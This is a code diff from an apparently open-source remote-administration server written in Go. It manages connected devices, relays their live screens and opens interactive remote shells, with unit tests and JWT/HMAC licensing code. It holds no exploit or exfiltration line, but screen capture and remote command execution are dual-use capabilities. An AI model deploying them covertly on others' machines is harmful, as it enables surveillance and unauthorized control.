+// UnbindScreenConn removes the screen sub-connection mapping (called on TCP
+// disconnect of a screen sub-context). No-op if the context isn't tracked.
+func (h *Hub) UnbindScreenConn(ctx *connection.Context) {
+	h.screenIndexMu.Lock()
+	deviceID, ok := h.screenIndex[ctx]
+	if !ok {
+		h.screenIndexMu.Unlock()
+		return
+	}
+	delete(h.screenIndex, ctx)
+	h.screenIndexMu.Unlock()
+
+	h.mu.Lock()
+	if d, ok := h.devices[deviceID]; ok && d.screenConn == ctx {
+		d.screenConn = nil
+		// Clear the cache too — when this device's screen comes back up, the
+		// resolution and IDR will be republished fresh.
+		d.screenWidth = 0
+		d.screenHeight = 0
+		d.lastKeyframe = nil
+	}
+	h.mu.Unlock()
+}
+
+// retireScreenConn tears down a screen sub-conn that's being replaced or
+// closed. Shared by CloseScreen (last viewer left) and BindScreenConn (device
+// opened a new sub-conn that's superseding this one, e.g. when the client's
+// monitor-poll logic switches to a different display).
+//
+// Steps and ordering matter:
+//
+//  1. screenIndex entry is dropped FIRST so any in-flight frames still in the
+//     device's TCP send buffer arrive at handleScreenFrame with deviceID=""
+//     and are silently dropped. Without this they'd be relayed under the
+//     same deviceID as the new sub-conn — that's the "frames from two
+//     monitors interleaved in one stream" symptom: the browser decoder sees
+//     a mix of two independent x264 SPS/PPS sequences and renders an
+//     alternating / glitchy picture.
+//
+//  2. COMMAND_BYE is sent so the C++ client's IOCPClient exits via the
+//     clean StopRunning() path. Without it the client treats FIN as a
+//     network blip and fires m_ReconnectFunc, which opens a fresh sub-conn
+//     that never sends BITMAPINFO again, keeps the encoder thread alive,
+//     and ultimately wedges the device for ~10 s — see the original
+//     CloseScreen comment for the full failure mode.
+//
+//  3. The actual TCP Close happens 500 ms later on a goroutine, mirroring
+//     the C++ ScreenSpyDlg.cpp:842 (Sleep(500); CancelIO()) sequence so
+//     COMMAND_BYE has time to reach the device read loop before FIN does.
+//
+// No-op for a nil sc so callers can pass d.screenConn unconditionally.
+func (h *Hub) retireScreenConn(sc *connection.Context) {
+	if sc == nil {
+		return
+	}
+	h.screenIndexMu.Lock()
+	delete(h.screenIndex, sc)
+	h.screenIndexMu.Unlock()
+	if h.sender != nil {
+		_ = h.sender(sc, []byte{protocol.CommandBye})
+	}
+	go func(c *connection.Context) {
+		time.Sleep(500 * time.Millisecond)
+		c.Close()
+	}(sc)
+}
+
+// Subscribe registers an EventHandler. The returned func removes it.
+// Multiple handlers are supported; each receives every event.
+func (h *Hub) Subscribe(eh EventHandler) (unsubscribe func()) {
+	h.subMu.Lock()
+	h.subscribers = append(h.subscribers, eh)
+	h.subMu.Unlock()
+	return func() {
+		h.subMu.Lock()
+		defer h.subMu.Unlock()
+		for i, x := range h.subscribers {
+			if x == eh {
+				h.subscribers = append(h.subscribers[:i], h.subscribers[i+1:]...)
+				return
+			}
+		}
+	}
+}
+
+func (h *Hub) snapshotSubscribers() []EventHandler {
+	h.subMu.RLock()
+	defer h.subMu.RUnlock()
+	out := make([]EventHandler, len(h.subscribers))
+	copy(out, h.subscribers)
+	return out
+}
+
+// Register records a device as online and pins the main TCP connection that
+// will receive outbound commands via SendToDevice. Re-registering an existing
+// ID overwrites the previous entry (e.g. a client reconnect with the same
+// MasterID). A nil device, nil conn, or empty ID is silently ignored.
+// Subscribers are notified after the device is added.
+func (h *Hub) Register(d *Device, conn *connection.Context) {
+	if d == nil || d.ID == "" || conn == nil {
+		return
+	}
+	d.conn = conn
+	h.mu.Lock()
+	h.devices[d.ID] = d
+	info := deviceToInfo(d)
+	h.mu.Unlock()
+	for _, s := range h.snapshotSubscribers() {
+		s.OnDeviceOnline(info)
+	}
+}
+
+// Unregister removes a device by ID. No-op if not present.
+// Subscribers are notified after the device is removed (only if it existed).
+func (h *Hub) Unregister(id string) {
+	if id == "" {
+		return
+	}
+	h.mu.Lock()
+	_, existed := h.devices[id]
+	delete(h.devices, id)
+	h.mu.Unlock()
+	if !existed {
+		return
+	}
+	for _, s := range h.snapshotSubscribers() {
+		s.OnDeviceOffline(id)
+	}
+}
+
+// ListDevices returns a fresh snapshot slice. The caller may mutate it freely;
+// it shares no state with the hub.
+//
+// Sort by ConnectedAt asc (ID as tiebreaker) so the order stays stable across
+// REST polls and WS pushes — Go's map iteration is intentionally randomized,
+// which would otherwise reshuffle the UI list on every refresh.
+func (h *Hub) ListDevices() []DeviceInfo {
+	h.mu.RLock()
+	defer h.mu.RUnlock()
+	out := make([]DeviceInfo, 0, len(h.devices))
+	for _, d := range h.devices {
+		out = append(out, deviceToInfo(d))
+	}
+	sort.Slice(out, func(i, j int) bool {
+		if out[i].ConnectedAt != out[j].ConnectedAt {
+			return out[i].ConnectedAt < out[j].ConnectedAt
+		}
+		return out[i].ID < out[j].ID
+	})
+	return out
+}
+
+func deviceToInfo(d *Device) DeviceInfo {
+	return DeviceInfo{
+		ID:           d.ID,
+		Name:         d.Name,
+		Group:        d.Group,
+		Version:      d.Version,
+		Capability:   d.Capability,
+		OS:           d.OS,
+		CPU:          d.CPU,
+		FilePath:     d.FilePath,
+		InstallTime:  d.InstallTime,
+		Location:     d.Location,
+		IP:           d.PublicIP,
+		PeerIP:       d.PeerIP,
+		Screen:       d.Resolution,
+		RTT:          d.RTT,
+		ActiveWindow: d.ActiveWindow,
+		ConnectedAt:  d.ConnectedAt.Unix(),
+		Online:       true, // a device that's in the map is by definition online
+	}
+}
+
+// PublishCursor notifies subscribers when the device reports a new cursor
+// index. Repeated identical indices are suppressed so the WS isn't spammed
+// with per-frame cursor JSON. No-op for unknown devices.
+func (h *Hub) PublishCursor(deviceID string, index byte) {
+	h.mu.Lock()
+	d, ok := h.devices[deviceID]
+	if !ok {
+		h.mu.Unlock()
+		return
+	}
+	if d.cursorSeen && d.lastCursorIndex == index {
+		h.mu.Unlock()
+		return
+	}
+	d.cursorSeen = true
+	d.lastCursorIndex = index
+	h.mu.Unlock()
+	for _, s := range h.snapshotSubscribers() {
+		s.OnCursorChange(deviceID, index)
+	}
+}
+
+// CloseScreen tears down the active screen sub-connection for the device,
+// if any. Used when the last viewer leaves so the device stops capturing.
+//
+// Cache (screenConn / screenWidth / lastKeyframe) is cleared SYNCHRONOUSLY
+// here, not deferred to the eventual OnDisconnect → UnbindScreenConn path.
+// Otherwise a new viewer arriving in the brief window between TCP close and
+// the disconnect callback would see Active=true with stale dimensions/IDR
+// and skip the COMMAND_SCREEN_SPY kick, leaving the page stuck on a "connected"
+// status with no frames ever arriving.
+//
+// The actual sub-conn teardown is delegated to retireScreenConn, which is
+// shared with BindScreenConn's replacement path.
+func (h *Hub) CloseScreen(deviceID string) {
+	h.mu.Lock()
+	d, ok := h.devices[deviceID]
+	if !ok {
+		h.mu.Unlock()
+		return
+	}
+	sc := d.screenConn
+	d.screenConn = nil
+	d.screenWidth = 0
+	d.screenHeight = 0
+	d.lastKeyframe = nil
+	h.mu.Unlock()
+	h.retireScreenConn(sc)
+}
+
+// PublishResolution announces a new (or first-ever) screen geometry for a
+// device. The browser uses width/height to initialize its WebCodecs decoder.
+// The latest dimensions are also cached on the Device so future late-joining
+// viewers can be bootstrapped without waiting for the next BITMAPINFO.
+func (h *Hub) PublishResolution(deviceID string, width, height int) {
+	h.mu.Lock()
+	if d, ok := h.devices[deviceID]; ok {
+		d.screenWidth = width
+		d.screenHeight = height
+	}
+	h.mu.Unlock()
+	for _, s := range h.snapshotSubscribers() {
+		s.OnResolutionChange(deviceID, width, height)
+	}
+}
+
+// PublishScreenFrame fans out a screen frame packet to all subscribers.
+// Callers must have already wrapped the H.264 NAL payload in the
+// [DeviceID:4][FrameType:1][DataLen:4][...] header expected by the browser.
+// The packet slice is shared with subscribers — do not mutate after publish.
+//
+// Keyframe packets are also retained on the Device record so a new viewer
+// joining a live session can immediately receive a decodable starting point
+// instead of waiting up to ~15 s for the next IDR.
+func (h *Hub) PublishScreenFrame(deviceID string, packet []byte, isKeyframe bool) {
+	if isKeyframe {
+		h.mu.Lock()
+		if d, ok := h.devices[deviceID]; ok {
+			d.lastKeyframe = packet
+		}
+		h.mu.Unlock()
+	}
+	for _, s := range h.snapshotSubscribers() {
+		s.OnScreenFrame(deviceID, packet, isKeyframe)
+	}
+}
+
+// UpdateLive applies a heartbeat-derived RTT and active-window title to the
+// device's live fields, then notifies subscribers. No-op if the device is
+// not registered (e.g. heartbeat arriving for a connection that never sent
+// TOKEN_LOGIN or has already disconnected).
+func (h *Hub) UpdateLive(id string, rtt int, activeWindow string) {
+	if id == "" {
+		return
+	}
+	h.mu.Lock()
+	d, ok := h.devices[id]
+	if !ok {
+		h.mu.Unlock()
+		return
+	}
+	d.RTT = rtt
+	d.ActiveWindow = activeWindow
+	h.mu.Unlock()
+	for _, s := range h.snapshotSubscribers() {
+		s.OnDeviceUpdate(id, rtt, activeWindow)
+	}
+}
+
+// ----- Terminal session management (Phase 6) --------------------------------
+
+// ErrTerminalBusy is returned by OpenTerminalSession when the device already
+// has a pending or active terminal session — MVP enforces single-viewer.
+var ErrTerminalBusy = errors.New("terminal already open by another viewer")
+
+// OpenTerminalSession atomically marks a terminal session as pending for the
+// device, then sends COMMAND_SHELL on the main TCP connection so the device
+// will spawn a shell sub-conn. Returns nil if the request was sent. On any
+// failure the pending flag is rolled back so retries are possible.
+//
+// Single-viewer constraint: if a pending or bound session already exists,
+// returns ErrTerminalBusy. Mirrors C++ CWebService::HandleTermOpen
+// (server/2015Remote/WebService.cpp:1838).
+func (h *Hub) OpenTerminalSession(deviceID string) error {
+	if deviceID == "" {
+		return ErrDeviceOffline
+	}
+	h.mu.Lock()
+	d, ok := h.devices[deviceID]
+	if !ok || d.conn == nil {
+		h.mu.Unlock()
+		return ErrDeviceOffline
+	}
+	if d.terminalPending || d.terminalConn != nil {
+		h.mu.Unlock()
+		return ErrTerminalBusy
+	}
+	d.terminalPending = true
+	mainConn := d.conn
+	h.mu.Unlock()
+
+	if h.sender == nil {
+		// Roll back so a retry isn't permanently blocked.
+		h.mu.Lock()
+		d.terminalPending = false
+		h.mu.Unlock()
+		return ErrNoSender
+	}
+	if err := h.sender(mainConn, []byte{protocol.CommandShell}); err != nil {
+		h.mu.Lock()
+		d.terminalPending = false
+		h.mu.Unlock()
+		return err
+	}
+	return nil
+}
+
+// IsTerminalPending tells the TCP layer whether the next-arriving shell
+// sub-conn should be claimed by the web terminal. The C++ side uses this
+// in MessageHandle to decide between WebService takeover and opening an
+// MFC dialog (server/2015Remote/2015RemoteDlg.cpp:5753).
+func (h *Hub) IsTerminalPending(deviceID string) bool {
+	h.mu.RLock()
+	defer h.mu.RUnlock()
+	d, ok := h.devices[deviceID]
+	return ok && d.terminalPending
+}
+
+// BindTerminalConn promotes the pending session to an active one by
+// associating the device's freshly-arrived shell sub-conn. Returns false
+// if no pending session exists — callers should drop the orphan ctx.
+//
+// Subscribers receive OnTerminalReady AFTER binding so they can flip the
+// browser into "ready" state immediately on the same TCP roundtrip that
+// will deliver the first shell output.
+func (h *Hub) BindTerminalConn(deviceID string, ctx *connection.Context, isPTY bool) bool {
+	if deviceID == "" || ctx == nil {
+		return false
+	}
+	h.mu.Lock()
+	d, ok := h.devices[deviceID]
+	if !ok || !d.terminalPending {
+		h.mu.Unlock()
+		return false
+	}
+	d.terminalConn = ctx
+	d.terminalIsPTY = isPTY
+	d.terminalPending = false
+	h.mu.Unlock()
+
+	h.terminalIndexMu.Lock()
+	h.terminalIndex[ctx] = deviceID
+	h.terminalIndexMu.Unlock()
+
+	for _, s := range h.snapshotSubscribers() {
+		s.OnTerminalReady(deviceID, isPTY)
+	}
+	return true
+}
+
+// TerminalDeviceID returns the device ID whose terminal sub-conn this
+// context belongs to, or "" otherwise. The TCP layer uses this on every
+// inbound packet on a sub-conn — when non-empty, the bytes are raw shell
+// output and bypass the usual command-byte switch.
+func (h *Hub) TerminalDeviceID(ctx *connection.Context) string {
+	h.terminalIndexMu.RLock()
+	defer h.terminalIndexMu.RUnlock()
+	return h.terminalIndex[ctx]
+}
+
+// UnbindTerminalConn removes the terminal mapping (called from the TCP
+// disconnect path for any sub-conn ctx). Fires OnTerminalClosed once if
+// the unbind actually removed something — so subscribers can update the
+// browser even on unexpected device-side drops.
+func (h *Hub) UnbindTerminalConn(ctx *connection.Context) {
+	h.terminalIndexMu.Lock()
+	deviceID, tracked := h.terminalIndex[ctx]
+	if !tracked {
+		h.terminalIndexMu.Unlock()
+		return
+	}
+	delete(h.terminalIndex, ctx)
+	h.terminalIndexMu.Unlock()
+
+	h.mu.Lock()
+	if d, ok := h.devices[deviceID]; ok && d.terminalConn == ctx {
+		d.terminalConn = nil
+		d.terminalPending = false
+		d.terminalIsPTY = false
+	}
+	h.mu.Unlock()
+
+	for _, s := range h.snapshotSubscribers() {
+		s.OnTerminalClosed(deviceID, "disconnected")
+	}
+}
+
+// SendToTerminal forwards bytes (typically xterm.js keystrokes) to the
+// device's shell sub-conn. Returns ErrDeviceOffline if no session is
+// active for this device.
+func (h *Hub) SendToTerminal(id string, data []byte) error {
+	h.mu.RLock()
+	d, ok := h.devices[id]
+	var tc *connection.Context
+	if ok {
+		tc = d.terminalConn
+	}
+	h.mu.RUnlock()
+	if !ok || tc == nil {
+		return ErrDeviceOffline
+	}
+	if h.sender == nil {
+		return ErrNoSender
+	}
+	return h.sender(tc, data)
+}
+
+// TerminalIsPTY reports whether the active session is PTY mode (the
+// resize command only applies in PTY mode — legacy cmd-pipe ignores it).
+func (h *Hub) TerminalIsPTY(id string) bool {
+	h.mu.RLock()
+	defer h.mu.RUnlock()
+	d, ok := h.devices[id]
+	return ok && d.terminalConn != nil && d.terminalIsPTY
+}
+
+// CloseTerminalSession tears down the session from the server side
+// (typically when the requesting browser sends term_close or disconnects).
+// Mirrors CloseScreen's graceful pattern: drop the index synchronously,
+// send COMMAND_BYE, then close after a short grace period so the client's
+// IOCPClient reconnect logic doesn't fire.
+func (h *Hub) CloseTerminalSession(deviceID string) {
+	h.mu.Lock()
+	d, ok := h.devices[deviceID]
+	if !ok {
+		h.mu.Unlock()
+		return
+	}
+	tc := d.terminalConn
+	// hadSession guards against firing spurious OnTerminalClosed events
+	// when there was nothing to tear down — relevant when the main-conn
+	// teardown path calls CloseTerminalSession unconditionally as part of
+	// device-offline cleanup, or when both OnDisconnect and an explicit
+	// browser term_close race for the same teardown.
+	hadSession := tc != nil || d.terminalPending
+	d.terminalConn = nil
+	d.terminalPending = false
+	d.terminalIsPTY = false
+	h.mu.Unlock()
+
+	if !hadSession {
+		return
+	}
+
+	for _, s := range h.snapshotSubscribers() {
+		s.OnTerminalClosed(deviceID, "closed")
+	}
+
+	if tc == nil {
+		return
+	}
+	h.terminalIndexMu.Lock()
+	delete(h.terminalIndex, tc)
+	h.terminalIndexMu.Unlock()
+
+	// Mirror Hub.CloseScreen: send COMMAND_BYE then close after 500 ms so
+	// the device exits its shell read loop instead of treating the FIN as
+	// a network blip and triggering reconnect.
+	if h.sender != nil {
+		_ = h.sender(tc, []byte{protocol.CommandBye})
+	}
+	go func(c *connection.Context) {
+		time.Sleep(500 * time.Millisecond)
+		c.Close()
+	}(tc)
+}
+
+// PublishTerminalData fans out one chunk of shell output to subscribers.
+// Caller has already wrapped it in the "TRM1" magic header so the browser
+// can demultiplex from screen frames over the shared WebSocket.
+func (h *Hub) PublishTerminalData(deviceID string, packet []byte) {
+	for _, s := range h.snapshotSubscribers() {
+		s.OnTerminalData(deviceID, packet)
+	}
+}
+
+// Count returns the current number of online devices.
+func (h *Hub) Count() int {
+	h.mu.RLock()
+	defer h.mu.RUnlock()
+	return len(h.devices)
+}

server/go/hub/hub_test.go

@@ -0,0 +1,171 @@
+package hub
+
+import (
+	"fmt"
+	"sync"
+	"testing"
+	"time"
+
+	"github.com/yuanyuanxiang/SimpleRemoter/server/go/connection"
+)
+
+// stubCtx returns a non-nil *connection.Context useful only as a sentinel.
+// Tests never invoke Send / Close on it.
+func stubCtx() *connection.Context { return &connection.Context{} }
+
+func TestHubRegisterListUnregister(t *testing.T) {
+	h := New()
+	if got := h.Count(); got != 0 {
+		t.Fatalf("empty hub: want Count=0, got %d", got)
+	}
+
+	h.Register(&Device{ID: "a", Name: "Alice", ConnectedAt: time.Now()}, stubCtx())
+	h.Register(&Device{ID: "b", Name: "Bob", ConnectedAt: time.Now()}, stubCtx())
+	if got := h.Count(); got != 2 {
+		t.Fatalf("after 2 registers: want Count=2, got %d", got)
+	}
+
+	list := h.ListDevices()
+	if len(list) != 2 {
+		t.Fatalf("want 2 devices in list, got %d", len(list))
+	}
+
+	h.Unregister("a")
+	if got := h.Count(); got != 1 {
+		t.Fatalf("after unregister: want Count=1, got %d", got)
+	}
+
+	// Unregister non-existent ID is a no-op
+	h.Unregister("ghost")
+	if got := h.Count(); got != 1 {
+		t.Fatalf("after no-op unregister: want Count=1, got %d", got)
+	}
+}
+
+func TestHubNilAndEmptyIgnored(t *testing.T) {
+	h := New()
+	h.Register(nil, stubCtx())
+	h.Register(&Device{ID: ""}, stubCtx())
+	h.Register(&Device{ID: "valid"}, nil) // nil conn should also be rejected
+	h.Unregister("")
+	if got := h.Count(); got != 0 {
+		t.Fatalf("nil/empty register should be no-op, got Count=%d", got)
+	}
+}
+
+type captureHandler struct {
+	mu      sync.Mutex
+	online  []string
+	offline []string
+	updates []string // formatted "id:rtt"
+}
+
+func (c *captureHandler) OnDeviceOnline(d DeviceInfo) {
+	c.mu.Lock()
+	c.online = append(c.online, d.ID)
+	c.mu.Unlock()
+}
+
+func (c *captureHandler) OnDeviceOffline(id string) {
+	c.mu.Lock()
+	c.offline = append(c.offline, id)
+	c.mu.Unlock()
+}
+
+func (c *captureHandler) OnDeviceUpdate(id string, rtt int, _ string) {
+	c.mu.Lock()
+	c.updates = append(c.updates, fmt.Sprintf("%s:%d", id, rtt))
+	c.mu.Unlock()
+}
+
+func (c *captureHandler) OnScreenFrame(_ string, _ []byte, _ bool) {}
+
+func (c *captureHandler) OnResolutionChange(_ string, _, _ int) {}
+
+func (c *captureHandler) OnCursorChange(_ string, _ byte) {}
+
+func (c *captureHandler) OnTerminalReady(_ string, _ bool) {}
+
+func (c *captureHandler) OnTerminalData(_ string, _ []byte) {}
+
+func (c *captureHandler) OnTerminalClosed(_ string, _ string) {}
+
+func TestHubSubscribeEvents(t *testing.T) {
+	h := New()
+	c := &captureHandler{}
+	unsub := h.Subscribe(c)
+
+	h.Register(&Device{ID: "x", Name: "x"}, stubCtx())
+	h.Register(&Device{ID: "y", Name: "y"}, stubCtx())
+	h.Unregister("x")
+	h.Unregister("nonexistent") // no event
+
+	if len(c.online) != 2 || c.online[0] != "x" || c.online[1] != "y" {
+		t.Fatalf("online events: %+v", c.online)
+	}
+	if len(c.offline) != 1 || c.offline[0] != "x" {
+		t.Fatalf("offline events: %+v", c.offline)
+	}
+
+	unsub()
+	h.Register(&Device{ID: "z"}, stubCtx())
+	if len(c.online) != 2 {
+		t.Fatalf("after unsubscribe should not receive events: %+v", c.online)
+	}
+}
+
+func TestHubUpdateLive(t *testing.T) {
+	h := New()
+	c := &captureHandler{}
+	h.Subscribe(c)
+
+	h.Register(&Device{ID: "x", Name: "x"}, stubCtx())
+	h.UpdateLive("x", 42, "Notepad")
+	h.UpdateLive("ghost", 999, "should be ignored") // unknown id, no event
+
+	if len(c.updates) != 1 || c.updates[0] != "x:42" {
+		t.Fatalf("updates: %+v", c.updates)
+	}
+
+	list := h.ListDevices()
+	if list[0].RTT != 42 || list[0].ActiveWindow != "Notepad" {
+		t.Fatalf("live fields not applied: %+v", list[0])
+	}
+}
+
+func TestHubRegisterOverwrites(t *testing.T) {
+	h := New()
+	h.Register(&Device{ID: "x", Name: "first"}, stubCtx())
+	h.Register(&Device{ID: "x", Name: "second"}, stubCtx())
+	list := h.ListDevices()
+	if len(list) != 1 || list[0].Name != "second" {
+		t.Fatalf("re-register should overwrite, got %+v", list)
+	}
+}
+
+// Race detector should not fire under `go test -race ./hub/...`.
+func TestHubConcurrent(t *testing.T) {
+	h := New()
+	const goroutines = 50
+	const opsPer = 100
+
+	var wg sync.WaitGroup
+	for g := range goroutines {
+		wg.Add(1)
+		go func(g int) {
+			defer wg.Done()
+			for i := range opsPer {
+				id := fmt.Sprintf("g%d-%d", g, i)
+				h.Register(&Device{ID: id, Name: id, ConnectedAt: time.Now()}, stubCtx())
+				_ = h.ListDevices()
+				_ = h.Count()
+				h.Unregister(id)
+			}
+		}(g)
+	}
+	wg.Wait()
+
+	if got := h.Count(); got != 0 {
+		t.Fatalf("after all unregisters: want 0, got %d", got)
+	}
+}

server/go/licensing/factory.go

@@ -0,0 +1,154 @@
+package licensing
+
+import (
+	"fmt"
+	"os"
+	"strconv"
+	"strings"
+	"time"
+)
+
+// Env var names — keep these in one place so README and code stay in sync.
+const (
+	EnvSignPassword       = "YAMA_SIGN_PASSWORD"        // LocalSigner master HMAC key
+	EnvLicenseServer      = "YAMA_LICENSE_SERVER"       // RemoteSigner: License Server base URL
+	EnvLicenseToken       = "YAMA_LICENSE_TOKEN"        // RemoteSigner: customer JWT
+	EnvLicensePubKeyPath  = "YAMA_LICENSE_PUBLIC_KEY"   // LocalSigner-as-LS: RSA public key PEM path
+	EnvLicenseHTTPAddr    = "YAMA_LICENSE_HTTP_ADDR"    // LocalSigner-as-LS: listen address, e.g. ":8443"
+	EnvLicenseOfflineHrs  = "YAMA_LICENSE_OFFLINE_HRS"  // RemoteSigner: cache TTL hours (default 24)
+)
+
+// DefaultOfflineGrace mirrors the "24 hours" decision recorded in the
+// project memory's licensing design.
+const DefaultOfflineGrace = 24 * time.Hour
+
+// Mode is what NewFromEnv inspected to pick a Signer; useful for logging.
+type Mode int
+
+const (
+	ModeLocal Mode = iota
+	ModeRemote
+	ModeNoOp
+)
+
+func (m Mode) String() string {
+	switch m {
+	case ModeLocal:
+		return "local"
+	case ModeRemote:
+		return "remote"
+	default:
+		return "noop"
+	}
+}
+
+// SelectedMode reports which mode NewFromEnv picked based on env vars,
+// without actually constructing a signer. Useful for startup banners.
+func SelectedMode() Mode {
+	if os.Getenv(EnvSignPassword) != "" {
+		return ModeLocal
+	}
+	if os.Getenv(EnvLicenseServer) != "" && os.Getenv(EnvLicenseToken) != "" {
+		return ModeRemote
+	}
+	return ModeNoOp
+}
+
+// NewFromEnv builds the Signer chosen by env vars:
+//   - YAMA_SIGN_PASSWORD set → LocalSigner
+//   - YAMA_LICENSE_SERVER + YAMA_LICENSE_TOKEN set → RemoteSigner
+//   - neither → NoOpSigner
+//
+// If both LocalSigner and RemoteSigner vars are set, LocalSigner wins
+// (an operator's own server should never accidentally call out to itself).
+// In that case we log a loud warning so the operator notices the dead config.
+//
+// <lg> may be nil — RemoteSigner falls back to a silent logger internally.
+func NewFromEnv(lg Logger) (Signer, Mode, error) {
+	server := os.Getenv(EnvLicenseServer)
+	token := os.Getenv(EnvLicenseToken)
+	pwd := os.Getenv(EnvSignPassword)
+
+	if pwd != "" {
+		if (server != "" || token != "") && lg != nil {
+			lg.Warn("%s is set; ignoring %s/%s (LocalSigner wins) — "+
+				"if you meant to be a customer deployment, unset %s",
+				EnvSignPassword, EnvLicenseServer, EnvLicenseToken, EnvSignPassword)
+		}
+		s, err := NewLocal(pwd)
+		if err != nil {
+			return nil, ModeNoOp, err
+		}
+		return s, ModeLocal, nil
+	}
+
+	if server != "" && token != "" {
+		if err := ValidateRemoteURL(server); err != nil {
+			return nil, ModeNoOp, fmt.Errorf("%s rejected: %w", EnvLicenseServer, err)
+		}
+		grace := DefaultOfflineGrace
+		if hrs := os.Getenv(EnvLicenseOfflineHrs); hrs != "" {
+			n, err := strconv.Atoi(strings.TrimSpace(hrs))
+			if err != nil {
+				return nil, ModeNoOp, fmt.Errorf(
+					"%s must be an integer (hours), got %q", EnvLicenseOfflineHrs, hrs)
+			}
+			if n < 0 {
+				return nil, ModeNoOp, fmt.Errorf(
+					"%s must be >= 0, got %d", EnvLicenseOfflineHrs, n)
+			}
+			grace = time.Duration(n) * time.Hour
+		}
+		return NewRemote(server, token, grace, lg), ModeRemote, nil
+	}
+
+	if server != "" || token != "" {
+		// Partial config is almost certainly a misconfiguration — fail loudly
+		// rather than silently degrading to NoOp.
+		return nil, ModeNoOp, fmt.Errorf(
+			"%s and %s must be set together (got %s=%q %s=%q)",
+			EnvLicenseServer, EnvLicenseToken,
+			EnvLicenseServer, server, EnvLicenseToken, token)
+	}
+
+	return NewNoOp(), ModeNoOp, nil
+}
+
+// LicenseServerFromEnv builds the License Server HTTP handler if (and only
+// if) the operator wants to expose it: requires both YAMA_LICENSE_PUBLIC_KEY
+// (to verify customer JWTs) and YAMA_LICENSE_HTTP_ADDR (listen address) set,
+// AND the Signer must be a *LocalSigner (RemoteSigner customer deployments
+// must never serve a License Server — they don't have the master key).
+//
+// Returns (nil, "", nil) if not configured. Returns (server, addr, nil) when
+// configured. Returns error on bad / partial config.
+func LicenseServerFromEnv(signer Signer, lg Logger) (*LicenseServer, string, error) {
+	pubPath := os.Getenv(EnvLicensePubKeyPath)
+	addr := os.Getenv(EnvLicenseHTTPAddr)
+
+	if pubPath == "" && addr == "" {
+		return nil, "", nil // not configured — fine
+	}
+	if pubPath == "" || addr == "" {
+		return nil, "", fmt.Errorf(
+			"%s and %s must be set together to enable License Server (got %s=%q %s=%q)",
+			EnvLicensePubKeyPath, EnvLicenseHTTPAddr,
+			EnvLicensePubKeyPath, pubPath, EnvLicenseHTTPAddr, addr)
+	}
+
+	local, ok := signer.(*LocalSigner)
+	if !ok {
+		return nil, "", fmt.Errorf(
+			"License Server requires LocalSigner mode (set %s); current mode is %s",
+			EnvSignPassword, signer.Mode())
+	}
+
+	pubKey, err := LoadRSAPublicKey(pubPath)
+	if err != nil {
+		return nil, "", err
+	}
+
+	// 5-minute eviction window — twice a typical heartbeat interval. Matches
+	// the discussion in quota.go.
+	return NewLicenseServer(local, pubKey, 5*time.Minute, lg), addr, nil
+}

server/go/licensing/licensing_test.go

@@ -0,0 +1,520 @@
+package licensing
+
+import (
+	"crypto/rand"
+	"crypto/rsa"
+	"encoding/json"
+	"fmt"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"sync/atomic"
+	"testing"
+	"time"
+
+	"github.com/golang-jwt/jwt/v5"
+)
+
+// testKey generates an ephemeral 2048-bit RSA key for JWT signing in tests.
+// 2048 keeps the test fast (~50ms) but matches realistic security.
+func testKey(t *testing.T) *rsa.PrivateKey {
+	t.Helper()
+	k, err := rsa.GenerateKey(rand.Reader, 2048)
+	if err != nil {
+		t.Fatalf("rsa.GenerateKey: %v", err)
+	}
+	return k
+}
+
+// silentLogger swallows logs in tests but still satisfies the Logger
+// interface — keeps test output uncluttered.
+type silentLogger struct{}
+
+func (silentLogger) Info(string, ...any)  {}
+func (silentLogger) Warn(string, ...any)  {}
+func (silentLogger) Error(string, ...any) {}
+
+// mustLocal wraps NewLocal for tests so the per-test boilerplate stays
+// readable. Any test-only HMAC key must be >= 16 chars (see minMasterKeyLen).
+func mustLocal(t *testing.T, key string) *LocalSigner {
+	t.Helper()
+	s, err := NewLocal(key)
+	if err != nil {
+		t.Fatalf("NewLocal: %v", err)
+	}
+	return s
+}
+
+// TestIssueVerifyRoundTrip is the smoke test: a token minted by Issue
+// must verify under VerifyJWT with the matching public key, and the
+// claims must round-trip intact.
+func TestIssueVerifyRoundTrip(t *testing.T) {
+	priv := testKey(t)
+	tok, err := Issue(priv, "customer-abc", TierTrial, 0, 30*24*time.Hour)
+	if err != nil {
+		t.Fatalf("Issue: %v", err)
+	}
+
+	claims, err := VerifyJWT(tok, &priv.PublicKey)
+	if err != nil {
+		t.Fatalf("VerifyJWT: %v", err)
+	}
+	if claims.Subject != "customer-abc" {
+		t.Errorf("sub = %q, want customer-abc", claims.Subject)
+	}
+	if claims.Tier != TierTrial {
+		t.Errorf("tier = %q, want %q", claims.Tier, TierTrial)
+	}
+	if claims.MaxDevices != TrialMaxDevices {
+		// Trial JWT minted with MaxDevices=0 should default to TrialMaxDevices
+		// (VerifyJWT normalizes this — see token.go).
+		t.Errorf("max_devices = %d, want %d (trial default)", claims.MaxDevices, TrialMaxDevices)
+	}
+}
+
+// TestVerifyRejectsWrongKey makes sure a token signed by key A cannot
+// be verified with key B's public half. This is what would fail open
+// if "alg":"none" tampering wasn't blocked, or if someone reused keys.
+func TestVerifyRejectsWrongKey(t *testing.T) {
+	priv1 := testKey(t)
+	priv2 := testKey(t)
+
+	tok, err := Issue(priv1, "customer-x", TierPaid, 50, time.Hour)
+	if err != nil {
+		t.Fatalf("Issue: %v", err)
+	}
+	if _, err := VerifyJWT(tok, &priv2.PublicKey); err == nil {
+		t.Fatal("VerifyJWT accepted token signed with a different key")
+	}
+}
+
+// TestPaidRequiresMaxDevices: paid tier must carry an explicit cap; trial
+// gets a default. Catches misconfigured tokens at verify time.
+func TestPaidRequiresMaxDevices(t *testing.T) {
+	priv := testKey(t)
+	_, err := Issue(priv, "customer-y", TierPaid, 0, time.Hour)
+	if err == nil {
+		t.Fatal("Issue accepted paid tier with max_devices=0")
+	}
+}
+
+// TestNoOpSignerReturnsEmpty: free tier produces no signature so the
+// client's private library trips and refuses high-tier features.
+func TestNoOpSignerReturnsEmpty(t *testing.T) {
+	s := NewNoOp()
+	sig, err := s.Sign("2026-05-20", "12345")
+	if err != nil {
+		t.Fatalf("Sign: %v", err)
+	}
+	if sig != "" {
+		t.Errorf("NoOpSigner.Sign = %q, want empty", sig)
+	}
+	if s.Mode() != "noop" {
+		t.Errorf("Mode = %q, want noop", s.Mode())
+	}
+}
+
+// TestLocalSignerDeterministic: HMAC is deterministic — same key + same
+// input must always yield the same output. This is the property that
+// makes RemoteSigner's cache correct.
+func TestLocalSignerDeterministic(t *testing.T) {
